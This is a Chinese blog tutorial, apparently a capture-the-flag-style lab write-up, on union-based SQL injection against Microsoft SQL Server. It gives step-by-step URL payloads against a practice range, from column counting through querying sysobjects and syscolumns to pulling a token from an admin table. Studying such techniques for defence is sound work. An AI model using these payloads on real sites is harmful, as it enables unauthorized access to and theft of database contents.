天天看點

MS SQL資料庫——union注入 前言:正文文末:

目錄

前言:

正文

0x01 mssql顯錯注入 

1)猜字段

2)判斷回顯點

3)拓展

4)靶場實戰

        ①查詢表名

        ② 查詢字段

        ③查詢資料

文末

前言:

SQL Server資料庫是由Microsoft開發和推廣的關系資料庫管理系統(DBMS),是一個比較大型的資料庫。端口号為 1433。資料庫字尾名 .mdf,注釋符是 --+(注釋符一樣)

由于 mssql沒有去研究,這裡就介紹下手工注入的方法

正文

這裡會介紹 ms sql顯錯注入

然後再盲注,再反彈

0x01 mssql顯錯注入 

以聯合查詢為例子,首先猜字段

然後聯合查詢,記住要寫成 union all

然後猜輸出點要使用  null 去填充

注釋符為  --+

select name from dbo.sysdatabases //查詢系統庫
sysobjects  //查詢系統表  (xtype='U')
syscolumns 字段 (id=) 指定 sysobjects庫中對應id
           

1)猜字段

進入掌控 靶場

MS SQL資料庫——union注入 前言:正文文末:

然後我們要先進行閉合,然後才 order by 排序

http://59.63.200.79:8015/?id=1' order by 3-- q
http://59.63.200.79:8015/?id=1' order by 4-- q
           

這時候發現,order by 3正常,order by 4錯誤。這時候判斷字段有 3個

MS SQL資料庫——union注入 前言:正文文末:

2)判斷回顯點

根據報錯資訊,我們知道有news表,那麼就先寫一下是個什麼梗。構造個 payload

http://59.63.200.79:8015/?id=1' union  select 1,2,3 from news-- q
           

這時候發現居然報錯了

MS SQL資料庫——union注入 前言:正文文末:

其實因為 union all select 要加個all,mysql也可以加,如果重複的話也可以顯示

然後發現還是報錯

MS SQL資料庫——union注入 前言:正文文末:

為什麼會報錯,因為資料類型問題,如果我們不知道是什麼資料類型的話

這裡的 1,2,3 可以寫成 null,null,null,然後構造payload,如下

這時候就發現了頁面回顯正常

http://59.63.200.79:8015/?id=1' union all select null,null,null from news-- q
           
MS SQL資料庫——union注入 前言:正文文末:

這時候我們就要判斷輸出點的資料類型了,在第三個null換成 1

?id=1' union all select null,null,1 from news-- q
           

發現頁面報錯了, 那就繼續構造payload,把 1改成 字元串 'aaa' 。這時候發現頁面正常了,輸出位也出來了

?id=1' union all select null,null,'aaa' from news-- q
           
MS SQL資料庫——union注入 前言:正文文末:

接下來就是查詢系統自帶庫,自帶庫中的表,表中的字段

庫名 -> 表名 -> 字段

3)拓展

①在MS SQL資料庫中查詢庫名 語句

這裡我使用某雲的一個,進行白嫖

然後使用 select*from dbo.sysdatabases

select*from 和mysql資料庫一樣,聯合查詢,然後dbo隻是個字首,就跟一般檔案名的字尾那樣的一個意思

然後 sys是系統,databases就是庫的意思

結合一下,就是  select * from dbo.sysdatabases

MS SQL資料庫——union注入 前言:正文文末:

這時候發現有3個庫,前面2個是預設庫

最後一個是自己建立的一個庫

SQLServer資料庫有6個預設的庫,分别是4個系統資料庫:master 、model 、msdb 、tempdb,和2個其他資料庫:ReportServer、ReportServerTempDB。

其中,model和tempdb是預設沒有資料表的。

②在MS SQL資料庫中查詢表名 語句

這個查詢表的語句和 查詢庫的語句是一樣的,是以就不解釋了

objects是對象的意思,學過程式設計都知道

select*from dbo.sysobjects
           
MS SQL資料庫——union注入 前言:正文文末:

這時候發現有77 條的資料,多的吓人~~~~~

這時候我們可以看一下特殊傳參

MS SQL資料庫——union注入 前言:正文文末:

這時候我們發現 xtype這個特殊的傳參。我們可以指定一個條件 xtype='U'

MS SQL資料庫——union注入 前言:正文文末:
select*from dbo.sysobjects where xtype='U'
           

其實可以了解成使用者建立的 表 U可以了解成 Ueser,但是這裡的 U要大寫

然後發現,成功的查詢到了一條資料,這個 hello 就是我剛剛建立的一個表

而 xtype='S'  其實就是sys系統的意思,就是系統預設的庫

③在MS SQL資料庫中查詢字段名 語句

這時候建構個查詢字段的語句,這時候發現又有好多的資料

幾百條,字段這邊也不可以使用 xtype了

select*from dbo.syscolumns
           
MS SQL資料庫——union注入 前言:正文文末:

但是我們發現這個地方有個傳參,叫做 id

然後看下什麼的庫,發現hello 庫的 id為 245575913

這裡其實是個對應的關系

?id=1' union all select 520,null,null from dbo.sysobjects where xtype='U' -- q
           

然後發現了這些字段分别為 a,b,c,d(因為我建立的時候是這樣命名的)

然後,我們進入靶場,看下要怎麼做

4)靶場實戰

這裡我們庫名就不糾結了,沒啥重要的

①查詢表名

這裡直接查詢表名,建構個payload

?id=1' union all select null,null,null from dbo.sysobjects where xtype='U' -- q
           

然後得判斷這3個的null,是個數字類型傳參,還是字元串類型

?id=1' union all select 520,null,null from dbo.sysobjects where xtype='U' -- q
           
MS SQL資料庫——union注入 前言:正文文末:

這個時候頁面前面的id出現了,變成了這樣子

那麼我們就可以把第一個null改為id

?id=1' union all select id,null,null from dbo.sysobjects where xtype='U' -- q
           
MS SQL資料庫——union注入 前言:正文文末:

出現了id,這時候就可以再看下字段名是什麼

MS SQL資料庫——union注入 前言:正文文末:

我們把第二個的null改為 name,就可以檢視了

如果第二個不可以,我們就可以把第三個的null 改為 name

這時候構造payload,成功的知道了表名和id了

?id=1' union all select id,name,null from dbo.sysobjects where xtype='U' -- q
           
MS SQL資料庫——union注入 前言:正文文末:

② 查詢字段

這時候我們就不需要id了,就把id改為null

然後我們是要查詢字段,使用syscolumns,再指定admin所對應的id。構造一個payload

?id=1' union all select null,name,null from dbo.syscolumns where id=1977058079 -- q
           
MS SQL資料庫——union注入 前言:正文文末:

現在我們知道了字段名和表名,就可以查詢資料了

③查詢資料

知道了表和字段名,就可以查詢資料了

和MySQL資料庫的注入語句差不多, from amdin表中的

?id=1' union all select null,token,null from admin -- q
           
MS SQL資料庫——union注入 前言:正文文末:

這就是ms sql資料庫的顯錯注入方式

文末:

沒啥難度的,了解一下mysql和 mssql資料庫的差別,以及特性,就比較容易懂了

還可以去看看這篇文章,個人覺得很全面

ms sql資料庫及注入方法